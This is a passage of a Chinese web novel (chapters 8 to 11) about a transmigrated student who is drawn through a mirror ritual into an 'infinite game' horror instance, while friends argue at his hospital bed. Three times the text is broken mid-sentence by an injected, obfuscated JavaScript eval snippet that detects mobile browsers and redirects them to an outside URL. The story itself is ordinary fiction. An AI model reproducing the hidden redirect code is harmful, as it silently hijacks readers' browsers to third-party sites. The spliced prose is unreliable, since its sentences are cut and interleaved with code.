江时早对此无言以对，在踏入这间活动室的那一刻，他就深深的吸了一口气。 虽然来之前已经做足了心理准备，但身临其境后的江时早还是闭了闭眼，尝试深呼吸调整状态……完全无法调节！ 按照他多年看文看剧的经验，参与这种游戏绝对会出事…… 江时早的心情很复杂。不仅是因为系统当初那道要求他维持人设的提示。这道提示几乎是在明示他必须参与社团活动。 维持人设会使他处在一种相对安全的状态中，但参与社团活动本身具有危险。 而在这些之外，在感觉到危险的同时，江时早也有一种非常强烈的预感： 今天发生的一切不是意外，而是征兆！ 他总觉得有什么和自己这个穿书者相关的剧情开始了。 可能是穿书者的任务，也可能是他回到原来世界的机会……这是之前几天完全没有出现过的直觉，但不管是什么，现在因为系统故障，他没有得到任何提示！ 系统！ 想到这里，江时早只能在心里很大声的喊了一下故障系统。 “时早？” 活动室的入口边，温序看着表情略显僵硬的江时早，关心道：“没事吧？” 江时早看向温序，昏黄的光线模糊了周围的环境，但眼前的人离他很近，江时早足以看清温序的五官与轮廓，而对方的神情就同他的声线一样温柔。 “时早，你今天好像一直心神不宁，要不要休息一下？”温序提议。 有那么一瞬间，江时早确实升起了退意。 现在一切都还只是他的猜测，他的直觉，他并不能肯定进行游戏就是自己离开这个书中世界的突破口。 要不再苟一下……？但江时早也不确定回避游戏会不会引发别的危险。 而就在江时早感觉自己的左右脑快要互搏时，也就是这时—— 一道熟悉的电流声在江时早的意识中闪过。 滋—— 滋——滋—— 滋—— 听到这串仿佛故障，又仿佛信号不稳定的电流滋声，江时早的眼睛睁大了一瞬。 系统？！ 故障许久的系统居然在这时出现了。 【进行游戏。】 系统言简意赅。 但不知道是不是错觉，江时早竟然在这道机械声中听出了一种虚弱。 「系统？你回来了——？」 好不容易等到系统恢复，江时早几乎瞬间涌出了很多很多的问题。不过现在似乎不是一个好时机，为了不被看出异样，他先回答了身旁的温序： “我没事。” 之后等了好几秒，意识中的那道机械声才再次响起： 【……进……行……游戏，它……可以……帮助你回归……现实世界。】 真的？！ 得到确切回答，江时早喜出望外。 不过系统的声音好像更加虚弱了，江时早不太放心，一边向活动室中央走去，一边在心中问道：「你之前怎么了？」 真的故障了？……是什么原因造成的？ 这一次，系统又久久的没有回复。 直到电流的滋声再次出现，江时早心中顿时升起强烈的不妙感。 【滋滋——进——滋——游——滋——】 【滋——滋——】 …… 系统再次消失时，江时早已经和社团成员们一起站在了房间中央的一面镜子前。 何天一走在最后面，在他将活动室的滑动门关上后，外界的光线被彻底隔离，整个活动室内只剩下四个角落的烛光——和那一面面对应着角落的镜子中所反射出来的人影与光线。 镜子前，曹青推了推眼镜，开口道：“游戏规则大家应该都很清楚了。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660316|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西第一个回应：“了解！四个人分别站在四面镜子的前方！然后通过逆时针走动，构造灵场，站在镜子前的人视线需要保持低垂，最好是一直看着自己的脚尖，不要直视镜子！” “然后第一个人逆时针走向下一个人，通过拍肩膀和咳嗽一声的方式，提醒对方往下走……直到走动中的那人发现所有的镜子前都站着‘人’时，咳嗽声会消失，而多出来的那个‘人’就是能够与我们通灵的鬼魂！” 这规则林西都能背下来了！ 曹青点了点头，说：“咳嗽声消失时，其余站在镜子前的人需要保持冷静，切勿移动，以此来维持住这个通灵仪式。” “镜子前的人只要不看向镜面，理论上就不会发生危险。” “至于走动中的那个人，这时就可以借助镜中的倒影，找出多出来的那个‘人’。他可以通过看向那‘人’面对的镜面，向镜子里的倒影提问。运气好的话，对方也会看着镜子，回答你的问题。” 曹青说到这里时，看向了听得异常认真的副社长江时早……时早今天好像格外专注？ 曹青继续说道：“运气不好的话，这时就需要观察者来中断游戏了。譬如本该面向镜子的那个‘人’没有面对着镜子……而是面向了参与者。” “或者这个‘人’开始在房间里乱走。” …… ……江时早的一颗心脏早已随着社长的讲诉高高悬起。 一旁的林西正在连连点头，表示明白，“总之，只要多出来的那个‘人’没有面向镜子，都是危险情况，对吧各位。” “没错。”曹青点了点头。 江时早则轻轻吸了一口气。他差点忘了，铃城可是一座遍布诡异传说的城市。 生活在这里的人对于通灵早已见怪不怪，甚至成功率不低。 所以他的同学们才能聊得如此轻松吗……？ 何天一还算好，另一边的林西和单昊分明对招魂游戏信心十足且充满期待。 这很难不令江时早怀疑，难道社团之前已经成功进行过其它的招魂游戏了？ 此时此刻，穿着校服的江时早只能在心里默默加固信念。 ……进行游戏能够帮助自己返回现实世界。 反复默念，以此来稳住他自己——主要是控制住自己忍不住地想要跑路的腿。 这时曹青从校服口袋里摸出了几张卡片，“这类游戏，讲究气运。” 说完，曹青将六张卡片反面向着众人举了起来。 “这六张牌里面有两张鬼牌，抽到鬼牌的就是观察者。你们先抽吧，剩下那张就是我的。” “合理。”温序这时浅笑着应了一声。 然后众人就看见这位新来的转学生从社长手里抽出了第一张牌。 “Joker。” 温序看清牌面时，声音很轻地念出了手牌的身份。旋即他的手指一动，将手中的黑色鬼牌翻面展示给了房间里的所有人。 “呼——”看清牌面的那一瞬间，林西第一个松了一口气，“哈哈，温序是观察者，那我抽中游戏者的几率变大了。” 这时社长又转向了温序身旁的江时早，“时早，该你了。” 闻声，江时早也抬起了右手，没有拒绝社长的好意。 尽管理论上，先抽牌的人更容易成为游戏参与者，但江时早这会儿几乎已经肯定自己无论什么时候抽，应该都会抽到参与者的卡片。 结果等他看清牌面时，牌面上的红色小丑正对着他笑容灿烂。 “……Joker？” 他竟然抽到了观察者的身份牌？ 有那么一瞬间，江时早的内心欢呼了一下，简直不敢相信自己有这么好的运气。 毕竟相对于直接的游戏参与者，观察者实际上是这场游戏中更为安全的一种身份…… 不是吗？ ……等等。 看着手中笑容灿烂的红色鬼牌。 忽然间，江时早有些不确定了。 9. 第九章 江城。 中心医院，十楼，神经外科1011号独立病房外。 走廊里，电梯门打开时，江一愿看清来人，她向来访者挥了挥手，“显镐哥，这里。” 从电梯里走出来的人身上穿着还未来得及换下的军装，他大步走来，一身风尘仆仆。 “时早现在怎么样了？”几天前，何显镐收到江一愿的信息后，立刻向上级申请了假期。但还是晚来了整整八天。 而在何显镐请假离开军区后，他与江一愿通过电话，在那通电话里，时早的妹妹与他详细说过时早当时的情况。 尽管如此，何显镐问起时，江一愿还是又将情况说明了一遍：“昨天他们把哥从ICU转到了这里，哥的生命体征已经稳定下来，但还是在昏迷状态……” 江一愿说话时，何显镐抬起的视线看向了医院标识牌上的“神经外科”几个字。 独立病房区外的这条走廊静悄悄的，只有两个人对话的声音。 “显镐哥，再等一会儿，等医生检查完后，我们可以进去探望哥。”江一愿说着，领着何显镐往走廊一侧的长椅走去。 这时，何显镐才注意到长椅上还坐着一个人。 待看清那人的容貌，穿着军装的人突兀地顿了下脚步，下一秒，何显镐的眉头紧紧皱起，视线在那人与其面对的病房区域间来回一圈，这个人…… 是来看望江时早的？ 何显镐认出了温执。 江一愿注意到何显镐的视线，在温执抬头看向他们时，江一愿正要向双方介绍彼此，两人都是她哥的朋友，结果就在这时，她看见何显镐大步走到了温执前方，态度绝对算不上友好。 “你怎么在这里？”何显镐站在了长椅前方的走廊中央。 “我为什么不能在这里？” “显镐哥，你们之前认识吗？”江一愿跟过来时拉了一下何显镐，她的反应不慢，这时已经发现两人之间的气氛不太对。 何显镐是江一愿的哥哥江时早的朋友，和江时早从小学开始就是同学，直到高中毕业，江时早考入了江城大学，何显镐则去了北方军校后，江一愿才很少见到何显镐了。 但江一愿很小的时候就认识她哥的这个朋友，知道这是她哥非常要好的哥们，虽然交集不多，但她记忆里，她很少见何显镐这么排斥一个人。 “温执是来探望我哥的。”江一愿说着特意补充了一句，“他是我哥的朋友。” “朋友？”何显镐的嘴角扬起了一个嘲讽的弧度。 温执这时从长椅上站起身，目光平视着对面的人。 何显镐看着这个阴魂不散的人，下一秒他转过身与江一愿说：“他说他是时早的朋友——？” 何显镐显然不相信对面人的说辞。 江一愿立刻回道：“是的，他是——” 但话刚说到一半，江一愿想到了什么，她打住了自己话，看向温执。 “我从来不知道时早有这么一个朋友。”何显镐这时毫不留情地说道，“时早从来没有提起过。” 但他倒是知道眼前这人对江时早的阴暗企图。只是没想到这么多年过去了，对方还没有死心。 何显镐转向江一愿，神色缓和了些道：“一愿，别太相信陌生人的说辞。” 江一愿表情纠结，她察觉到何显镐与温执似乎存在矛盾。何显镐明显不相信眼前的人是她哥的朋友。 事实上，在温执证明他自己是作者Abyss前，江一愿也从来没有听她哥提起过、更没有见过她哥的这个朋友。 但如果是Abyss的话……总之，江一愿当时同意了对方的探望请求。 而温执和她哥的关系似乎也非常要好，虽然不知道她哥和这位作者本人是什么时候认识的，但温执无疑非常关心她哥。这一点江一愿能感觉到。 自从她哥发生车祸后，温执几乎一直守在医院里，并且肉眼可见的日渐憔悴。 “他来多久了？”何显镐问。 “八天。”温执回答道，他看着对面的人，相比于何显镐的反应，温执的态度显得更为平静内敛，“你可以直接问我。” 温执说完，又同妹妹点了点头，态度温和。 “你——”何显镐回过头时，看见的就是这人伪装出来的一副骗取他人好感的表象。 “还有什么问题吗？”温执浅笑道。 下一秒，何显镐就提起了对面这人的衣领。 江一愿显然没有想到事态会急转直下，“不是，哥、哥、哥——”她赶紧拽住了何显镐的手臂，想将人拉开。 温执脸上仍旧带着笑，那双浅蓝色的眼瞳直视着对面的人，“你确定要在医院里动手吗？需要我提醒一下你，早早还在里面，没有醒来吗？” “你别这么叫他！”何显镐额间青筋跳动，但最后还是有所顾忌地松开了手。 呼，江一愿也松了一口气。她看向温执，这位她哥喜欢的作者有着一双不同于江城人普遍瞳色的浅蓝眼眸，温执本人看起来也十分好说话。 而对方此刻似乎看出了她的想法，温执对她轻轻颔首，态度温和道：“你可以同他说。” 说完，他退了一步，视线重新回到了病房方向。 江一愿又松了一口气。 温执是她哥最喜欢的作者Abyss这件事，经过当事人的同意，江一愿现在可以同何显镐说了。 听着两人的对话，何显镐已经感觉到了不对劲，他的眉头又皱了皱：“……说什么？” 直觉有超出事态之外的意外出现了。 温执这时已经礼貌地绕过两人，走到了距离病房内的人更近的那一边。 江一愿小声说：“显镐哥，你们之前是不是有什么误会？温执是我哥最喜欢的作者Abyss啊！” “……什么？”何显镐感觉自己的头晕眩了一瞬。 他当然知道Abyss，也知道对方是时早很喜欢的一位作者，是一位知名的悬疑及灵异小说家。 从中学开始，每次时早看完Abyss的书后，都会分享给何显镐看。 江时早家里还收藏着Abyss出版过的所有书。不管是精装版还是典藏版，甚至海外版本，没有一版遗漏。 “不可能！”反应过来的何显镐当时就冒出了这几个字。 他转身去看温执，又看向拉着他的妹妹，瞳孔都难以置信地收缩了，本能辩驳：“你知道他才几岁吗？他只比我们高了一届！” 温执曾经也是江城中学的学生。 但Abyss成名已经十年了！ 十年……何显镐恍惚了一下。一段深刻记忆在他脑海闪过。 十年。十年前刚好是那一年，海湾地区发生大地震的那一年。 何显镐的身旁，江一愿这时却点了点头说：“Abyss就是少年成名啊，显镐哥！你冷静一点，他真的是Abyss！我确信。” 除了足以证明温执是作者Abyss的法律文件。江一愿第一次见到这位作者本人时，当时的温执差点把所有有的没得证件都递给她了！ 江一愿看的眼花缭乱，最后还是她拦住了对方的超标自证，相信了温执是非常关心她哥的一个朋友。 走廊里，白织灯的光线明亮，在最初的震骇过后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660317|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，何显镐此刻也冷静了下来，但他的表情却十分复杂。 “怎么会……” 江一愿拍了拍何显镐的肩膀，虽然不知道何显镐和温执之前发生过什么，但两人现在算是都平静了下来。 江一愿看了看时间，说道：“医生应该快要出来了。一会儿我们一起去看看哥吧。” “……好。” 不过就当何显镐沉默的等候在病房外时，他没有料到那个暂时被他刻意忽略了的人会主动走来与他说话。 但等何显镐听清温执说出的内容时，这个身穿军装的人神色再次变化。 不同于之前因为对方仍觊觎江时早而生出的愠恼，这一次，何显镐的神情十分凌厉。这不是军官在面对普通人时应该出现的反应。 他先看了看周围。江一愿这时正站在病房门前，距离他们有一段距离，她的身旁还有一位护士，两人正在交流。 何显镐收回视线时，审视的目光再次落在了温执身上：“你到底是什么人？” 就是眼前的这个人刚刚问他： “你知道最近有一款游戏，会让参与者陷入昏迷吗？” 一款让人陷入昏迷的游戏。 何显镐听见这串信息时瞬间戒备起来。 如果眼前的人仅仅是听说了最近陆续有人无端陷入昏迷这件事，还不会引起何显镐这种程度的防备，但对方还知道“游戏”，这只能说明。 温执接触过参与“游戏”的人，又或者对方就是游戏参与者。 而这件事现在对于公众而言还是秘密。 在军方的秘密调查中：这款游戏能将人的意识置身于另一个未知空间中，而在游戏中死亡的人，无一例外，他们在现实世界里全部陷入了昏迷。 何显镐也是因为身份和职位原因才接触到了那款会让人陷入昏迷的游戏相关信息，并且成功进入到了“游戏”之中。 七个月里，何显镐一共进入了“游戏”三次。每一次的游戏内容都不相同。每一次他在游戏中遇见的人也不相同。 除了在一次游戏结束后会提示通关者的下一场游戏时间外，关于这个游戏的其它信息似乎都无迹可循。 哦对了，所有进入到游戏中的人都会在游戏空间中自动生成一个号码。 这个号码是他们在游戏中的代号。 何显镐刚进入游戏时，他的代号是187642。 三场游戏之后，他现在的代号是：1795。 有推论表明，这个游戏代号就是玩家在游戏中的综合排名。 所以截止目前为止，进入到这个未知游戏中的人数很可能已经接近或者超过了二十万人。 …… 医院走廊上，何显镐与温执对视，几秒后，他确认道：“你是游戏参与者。” 但何显镐无法确认温执为什么会向他提起这件事。 温执不可能知道军方的秘密调查，更不可能知道自己是调查者之一。 ……难道说，对方是因为知道他进入了游戏中，才同他说起这件事？ 但这怎么可能？ 何显镐这时的情绪已经不再外露，他确定自己并没有在之前的几场游戏中见到过温执。 但何显镐这时已经对双方身份有了一道非常清晰的判断。 眼前的这个人很危险，对方不仅是游戏参与者，而且温执的信息来源完全成谜。 “你有什么目的？”何显镐准备回头就将温执的情况上报。 温执这时却将视线转向了病房门方向。 那里，江一愿正对两人招手。 “可以进去探望了。” 10. 第十章 铃城高中。 第二综合楼，七楼，7-14活动室。 游戏开始后，江时早看着镜子前的人开始逆时针走动。 时间一分一秒过去，几乎每隔几秒，就有一道咳嗽声在这片昏暗的空间中响起。 江时早做好了见到鬼魂的准备，甚至想了好几套应对方案。但他没有想到的是，活动室里的咳嗽声消失时，房间中央的人也消失了。 那一刻，江时早瞳孔收缩，不敢相信参与游戏的四个人会同时消失：“——！” 他看着空荡荡的活动室中央，四面镜子还在那里，但镜子前已经没有任何人的身影了。 完蛋了—— 江时早脑中念头急闪。作为一个穿书者，一个在一刻钟前还听到过系统提示的人。他想过鬼魂出现，想过出现在游戏中的鬼魂会有异常行动，想过很多种情况……但没有想到所有人会在他的眼前消失啊！ 意识到事态超出控制，江时早惊恐一秒后瞬间做出反应。 下一秒，角落里的少年转身就将圆桌上的蜡烛熄灭了！ 江时早试图通过破坏仪式来中断游戏。 他的心脏狂跳，蜡烛熄灭的那一瞬间，他甚至期待一切只是幻象，期待游戏中断后，眼前的世界能够恢复正常。 但等他再看向房间中央时，他的同学们并没有回来，相反，在蜡烛熄灭的那一瞬间，一道古怪的声音在活动室里响起。 “嗒……嗒……嗒……” “嗒……嗒……嗒……” “嗒——嗒——嗒——” 从远及近的脚步声在空荡的活动室里响起。 江时早寒毛竖起！ 本能反应下，他下意识向右侧拔腿。江时早距离活动室的门很近，凭着记忆，角落的这道身影已经冲向了门的方向！ 但也就在这时，心脏狂跳的江时早听见了一道熟悉的声音—— “时早。” 那声音在昏暗的房间里响起，它的主人似乎距离他很远。 但当它响起时，江时早清楚的听见了。 那一瞬间，江时早回过头，看向声音的来源—— 他的视线穿过了中央的一面面镜子，在昏暗中，他看见了在那个与他距离最远的角落里，有一道身影仍站立在点燃的蜡烛边。 那一瞬间，江时早的眼睛睁大了一下。 借着烛光，他看清了那个人的轮廓。 ——是温序！温序还在房间里！ 之前因为恐慌和视野受限，江时早没能在第一时间发现房间里还有其他人在。 但这一刻，他的脚步顿住，看着昏暗角落的那人，不知道是不是因为受到了惊吓，站在那里的温序几乎一动未动，除了还能开口喊出江时早的名字，温序好像真的吓坏了。 此时江时早的右只手已经握在了滑动门的门把手上。 在他的视线穿过那些镜子看向温序时，江时早也更加清晰地判断出了那串古怪的“嗒——嗒——嗒——”声从何而来了。 是镜子！ “嗒——” “嗒——” “嗒！” 空灵的脚步声从镜中传来，昏暗中，江时早看见了镜子里的一抹黑影。 那面镜子好像连接了另一个空间，而镜子里的东西正在由远及近。 就在这时： “时早，你快走。” 简单的语句，从房间的另一端传来，隔着一个空间中最远的距离，让人几乎听不出声音主人的情绪。 但就在这千钧一发之际，听见声音的江时早咬了咬牙，已经到达了门边的人转身向着温序所在的方向跑去。 没有犹豫，江时早奔跑起来后的速度非常快。他避开了摆放着镜子的中央区域，在短暂的数秒中，江时早已经跑到了温序身边。 那之后他没有犹豫地抓住了温序的手腕，拉着人往回跑。 “快走！镜子里有东西要出来了！”江时早一边拉人一边解释。 好在温序很配合，江时早一下就将人拉动了。 两人的身影奔向活动室的门，江时早压低的声音在温序身旁响起：“别害怕，我们还有时间！” 江时早安抚着这个之前被吓到动弹不得的同学。 他能听清镜子里的脚步声，也能大致判断出脚步声距离他们有多远。 在镜子里的东西真正出现在活动室前，江时早已经拉着温序来到了七楼走廊，并且不带喘气的将活动室的门从外面关上了。 但是…… “时早……”门关上的那一刻，温序迟疑的声音在江时早身旁响起。 昏暗中，这个新来的转学生看着江时早的轮廓侧影，那双情绪暗涌的双眸隐藏在了几乎没有了光线的走廊中。 昏暗助长了他目光里的肆无忌惮。 温序又垂眸看了看自己那仍被身边的少年紧握着的手腕。 心里有些可惜。 温序惋惜的在心中叹气。如果刚才江时早靠近时，自己将手伸了出去，是不是现在两人牵在一起的就是手了呢…… 与此同时，江时早听见温序的声音时，心中也电闪般划过了一道念头： ……完蛋了。 此刻，江时早看着他们身处的昏暗走廊。这条原本应该明亮无比的走廊，现在几乎昏暗无光。 本应该是下午的晴朗天空，此刻也被怪异的黑夜取代。 江时早眼前的铃城上空云层密布，在那一片片黑暗的后方，时不时有诡异的光闪烁。 而在他们的身后，活动室里的脚步声再次传来。 这一次，江时早可以听见制造出脚步声的东西已经踏在了房间的地面上，并且正向着他们的方向靠近。 而在这条走廊的两端，是纯粹的、没有一点光线的黑暗，好像走廊的尽头不再存在楼梯，而是两个通往深渊的入口。 黑暗中，江时早再次看向了走廊外骇人的铃城上空。 在一种莫名的震骇中，一道念头于心底猛然窜起，他看着不同于过去一周里任何时刻的铃城夜空，现在出现在他眼中的铃城，带来了一种前所未有过的感觉，仿佛…… ……仿佛这里已经没有任何安全的地方了。 就在走廊里的人几乎陷入进退两难时，这时，温序开口道：“跟我来。” 温序说完，用被江时早握着的那只手反握住了对方的手。只需一个细微的动作，下一秒，在江时早松开他的手腕时，温序的手掌顺势下滑。 最后，他牵住了江时早的手。十指相扣。 然后在活动室里的脚步声离门边越来越近时，温序拉着江时早，就像之前一样，两人向着走廊尽头跑去，跑向楼梯原本所在的方向。 而这一次，在黑暗中安抚同伴的人变成了温序：“别怕，跟我来。” 他的声音很轻，但牵着江时早的手异常有力量。 江时早几乎是被对方带着跑上了楼梯，等到两人停下来时，他已经被温序拉入了一间与通往天台的门相对的杂物间中。 在进入杂物间后，几乎有几秒钟的时间，江时早的大脑一片空白。他的视线在这个不算大的空间中不断来回，仿佛一阵天旋地转。 直到好几秒后，江时早的呼吸才渐渐平缓下来。 但他依然能够感觉到自己的心跳声。 杂物间里静悄悄的，外面的世界也在门关上的那一瞬间变得寂静无声。 江时早几乎忘了脚步声到底是在什么时候消失的了。只记得黑暗中，温序一直拉着他的手。 温序…… 江时早转过头时，抬眸间就与身旁的人四目相对了。 他的身影也撞入了一双温柔的眼眸中。 温序的神情并没有想象中的惊慌。 江时早看怔了一瞬，他望着眼前这张格外英俊的温柔面庞，莫名的，紧绷的神经得到了极大的安抚。 或许有空间变得安静的原因，或许是因为这间杂物间里亮着的暖黄灯光。 江时早的情绪逐渐平稳，他得以思索眼前的情况。 ……这个地方怎么会有一间杂物间？ 而且这里有灯。 刚刚一路上，江时早都是在几乎黑暗的环境中奔跑。所有的活动室都漆黑一片。如果没有温序引路，他很怀疑自己是否能在慌乱中踩对楼梯的台阶。 但此刻他们身处的这间杂物间里的灯泡却散发着十分温暖的光线。这里面的温度也恰到好处，让进入的人仿佛置身于了一间安全屋中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660318|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是这时，江时早的脑海中出现了一道机械声。 [玩家江时早，玩家代号209999，欢迎来到Inter-DimentionalTravel无限游戏空间。] …… 不同于之前的那款系统声，在这道陌生冷感的机械声出现时，江时早的眼瞳动了一下，而在声音响起的那一霎那，他就再次看向了温序。 而温序也在这时开口道：“时早，你有听见什么声音吗？” 温序说话时指了指自己的太阳穴。 这是一道很明显的讯号，温序很可能和他听见了同样的声音。 阅文无数的江时早这时已经有一点瞳孔地震的模样了。 这种类型的介绍……这种类型……不会吧…… 自己不是穿书了吗……所以……这又是什么……！ “我……我好像听见了……” 就在江时早大脑疯转时，他的身旁，温序已经继续说道：“Inter-DimentionalTravle……？多维旅行……无限游戏空间？” 温序话音刚落，新的提示音随之出现： [即将进入无限游戏副本“104号畸形屋”，玩家人数：8人] 江时早：“！！！” 始终留意着江时早反应的温序当然没有错过眼前之人的每一道情绪波动。 温序低下头，温声询问：“怎么了，时早？” 询问声响起时，江时早抬起的手也抓住了温序的肩膀。 他的神情略显急切，“温序，你要进入的游戏副本是“104号畸形屋”吗？” “是的，时早。”温序说着，眼眸中似流露出一道思索的神色，“我们听见的果然是同一道声音。” 江时早则倒吸了一大口气。 “……” 无他，作者Abyss创作早期的一篇短篇灵异小说就叫《104号畸形屋》！ 所以现在到底是什么情况？ 刚刚听见提示音时，他还以为自己和温序要进入到某个无限流世界了！ 穿灵异文后又进入无限流…… 而且还是和书中世界的人一起进入无限流。 这种可能性光是想想，江时早都快控制不住自己的分裂了。 事实上，江时早这会儿也是木木地望着温序。 他想，或许现在唯一的好消息是：他们即将进入的游戏副本是自己曾经看过的书！ 也就是这时，第三道信息出现了： [以下公布本次游戏副本参与玩家：] [“代号141”，“代号854”，“代号3947”] [“代号623”，“代号2874”] [“代号209999”，“代号210000”] …… 光线温暖的杂物间里，江时早听着那道机械声念出的一个个代号，不知道为什么，他总觉得哪里不太对劲。 “时早，我的代号是210000。”温序说。 江时早猜到了，于是欲言又止地点了点头。 他知道是哪里不对劲了。 他和温序的代号数字都非常大。不像另外几位是三位数、四位数组合。 江时早暂时无法判断这个编号实际代表着什么，但直觉有些不妙。因为不管是哪种情况，他们这巨大的数字好像都不太妙…… 温序又说：“你是……” 这道温缓的声音停顿了一下，江时早迎上了对方投来的注视。 温序轻声道：“爱你久久久久？” 江时早：“……是我。我是209999。” 温序笑了一下。 而两人的对话是被一道姗姗来迟的提示音打断的。 当这道提示音响起时，江时早才猛然反应过来，对了，之前那道机械声只报出了七位游戏参与者的代号！ 而这姗姗来迟的第八位玩家，和这个人相关的提示语也与众人不同。 江时早听见脑海中的机械声： [玩家001已加入游戏副本“104号畸形屋”] [即将进入副本空间“104号畸形屋”] [祝各位玩家旅途愉快] 11. 第十一章 江城一间公寓内，新游戏的信息公布时，公寓里的三人神色各异。 此刻这间公寓客厅里，或站立或坐着三人年纪相仿，他们看上去二十七八岁左右模样。而从几人身上的装束不难看出，他们对即将进入的游戏副本有所准备。 这几人正是刚刚系统通知中，代号141、854，以及代号3947的玩家。 三人这一次是以组队模式参与副本。 不过这会儿，141正皱着眉头：“209999？210000？” 说话的141看起来像是三个人中的老大。他明显对刚才的系统通知感到怪异。 141说：“这两个应该是新人吧？我们怎么会匹配到新人？” 854说：“会不会和我们一样是组队模式？有高位玩家在带人？” 一般情况，进入同一副本的玩家排位不会差距太大。 141摇了摇头：“210000这个排名，看着像是第一次进入游戏。上个月我才听说出现了代号200000+的新人。” 第一次进入游戏的新人去哪找高位玩家组队。 不过游戏最近载入新人的速度似乎变快了，这才不到一个月，竟然又多了一万人进入到这个游戏中了。 这里面还要剔除那些在游戏中死亡后，代号被他人自动取代的情况。 也就是说现在整个Inter-DimentionalTravel游戏空间中，活跃玩家人数高达21万人了。 141想了想又说：“难道是和我们之前的情况一样？” 他们三人的第一场游戏能在同一个副本中，正是因为三人进入游戏时身处同一处空间。虽然不知道游戏是怎么选人的，但这确实是一种可能性。 209999和210000在被游戏选入时，他们的身边有高位玩家存在。 3947这时说：“谁知道呢，进去看看。” 在新副本的通知响起后，游戏只会留给他们几分钟的准备时间。 141这时也沉着气点了点头。 “另外两人是623和2874。虽然没有印象，但排位不算太差……” 141就没有想过和那俩20万开外排名的人组队的是623。 因为副本的“平衡”匹配规则，如果真有人和209999、210000组队，对方的排位一定比141高……高很多。 “等一下。”3947这时又开口了，他终于发现了：“少了一个人。” 之前因为209999和210000的数字太大，吸引了他们的注意。几人竟然没有第一时间意识到系统刚刚的通知中只通告了七个人的代号。 等他们回过神时，已经被“玩家001”这个代号震撼到进入副本后都没能收起表情。 同样震惊的还有另一队组队参与副本的玩家2874。这人传入游戏空间后，当即左右张望： “001！001！” 这声音听起来既兴奋又期盼。 2874连喊了几声，仿佛这样能将人喊出来。 被他的队友623冷声制止：“喂，安静点。” 在623和2874的不远处，站着的正是三人组队的141、854和3947。 854和同伴们低声道：“应该不是他们。” 两人队伍里的2874进入副本后就在寻找001，同样进入副本的三人队伍当然也在搜寻那位001的身影。 3947说：“那两人应该也是组队进来的。”他指623和2874，“奇怪，这里怎么只有五个人。” 游戏人数是8人，另外3人去哪了？ 001应该就在那还未露面的三人中…… 不，也不一定。 三人队伍看着对面的两人队伍。心想万一这个大喊大叫的人是装的呢？万一对方身旁的人就是001呢？ 一时之间，两边都在寻找001，又无法肯定001是否在他们之中。 “先把人找齐吧。”最后还是3947打破沉默。 在观察了片刻后，3947这会儿百分之九十九点九的确信：不在场的三人正是001、209999、210000。 难道他们之前都想错了？209999和210000真的是和高位玩家组队进入的游戏？而那个高位玩家还是那位…… 最高位？ …… 感觉像是失重了一瞬。 江时早进入副本后，稳住身形的他立刻看向温序之前所在的方向。 好在他抬头就看见了那道身影：“温序！” “时早。”温序的语调依旧轻缓，他回应着江时早的每一次呼唤。 “呼！还好没有分开。”江时早说道。 说完就观察起周围。 副本世界的时间应该是傍晚。两人此刻正站在一个小型十字路口边，夕阳的光从他们身后的公园覆盖而来。 他们的前方是一条人行道，连接着对面的街道。 那是一条两侧伫立着外观几乎一致的联排房屋的街道。 江时早抬头看向路标，指向那片联排房屋的指示牌上写着的正是“德奇街”几个字。 江时早原以为自己早已不记得短篇小说“104号畸形屋”的内容了。 但在看见“德奇街”几个字时，数段与文字相关的内容还是在他脑海中闪过了。 它们被唤醒时，也唤醒了江时早在阅读那本书时的情绪与记忆。 德奇街正是“104号畸形屋”所在的街区。而在小说中，那座被称为畸形屋的房屋实际上是德奇街第104号别墅。 阅读Abyss的这本短篇小说时，江时早刚升上初二。因为一些原因，那学期他选择了住校。 那个时候的江时早就是在夜晚的寝室熄灯后，拿着手电筒躲在被子里，悄悄地看完了那本“104号畸形屋”。 ‘那个街区伫立着外观一致的联排别墅。房门上通常挂着屋主精心挑选的装饰品。一些别墅的门上涂上了其它颜色，深蓝色的，勃艮第红色的，鸽灰色的……除此之外，远远望去时，那片街区的房屋几乎一摸一样。’ ‘德奇街第104号别墅的房屋门颜色是黑色的。实木做的门上挂着黄铜色的门环。从街道边经过时，首先映入眼中的会是那扇黑色的木门。’ ‘起居室的窗帘永远是拉上的。’ ‘在104号别墅黑色铸铁的栏杆内，能看见一条从房屋外通往地下室的台阶。那里光线不佳，窗户也是近年来逐渐流行起来的竖条磨砂玻璃。听说这样的玻璃更具隐秘性，与起居室采光极佳的大玻璃窗截然不同。’ …… 一段段文字在江时早脑海闪烁时，他再一次环顾四周，以一种难以言述的心情。 明明应该感到害怕的，但有那么一瞬间，江时早的内心奇异的触动了一下。 